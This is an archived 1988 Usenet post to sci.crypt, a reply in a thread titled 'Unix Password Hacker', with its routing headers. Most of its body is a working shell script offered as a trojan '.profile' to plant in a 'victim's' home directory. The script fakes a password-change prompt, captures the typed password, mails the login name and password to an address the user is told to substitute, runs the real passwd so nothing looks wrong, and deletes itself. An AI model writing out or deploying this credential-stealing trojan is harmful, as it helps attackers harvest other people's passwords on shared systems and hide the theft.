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Article #4059Re: Unix Password Hacker
From: Doug Gwyn
Date: Thu, 25 Feb 1988 19:24
Date: Thu, 25 Feb 1988 19:24
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In article <2584@crash.cts.com> jkimble@crash.CTS.COM (Jim Kimble) writes: >All this would really do is give you an additional UNIX account for a week >or two. I doubt the students have any more access then anyone else. # .profile replacement -- install this in the victim's home directory stty -echo echo 'For security, you must change your password immediately.' echo "Changing password for $LOGNAME." echo 'Old password:\c' read pwd echo 'New password:\c' read pwd echo 'Retype new password:\c' read pwd echo $LOGNAME $pwd | mail Gwyn@BRL.MIL # substitute your address echo 'Mismatch - try again.' stty echo passwd # this one is for real mv ..profile .profile # make this sneaky file go away
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Path: arc1-ca.pugleaf.net!utzoo!mnetor!uunet!lll-winken!lll-lcc!lll-tis!ames!ll-xn!husc6!cmcl2!brl-adm!brl-smoke!gwyn From: gwyn@brl-smoke.ARPA (Doug Gwyn ) Newsgroups: sci.crypt Subject: Re: Unix Password Hacker Message-ID: <7348@brl-smoke.ARPA> Date: 25 Feb 88 19:24:43 GMT References: <731@ddsw1.UUCP> <657@morningdew.BBN.COM> <1368@homxc.UUCP> <739@ddsw1.UUCP> <1118@uop.edu> <2584@crash.cts.com> Reply-To: gwyn@brl.arpa (Doug Gwyn (VLD/VMB) <gwyn>) Distribution: na Organization: Ballistic Research Lab (BRL), APG, MD. Lines: 18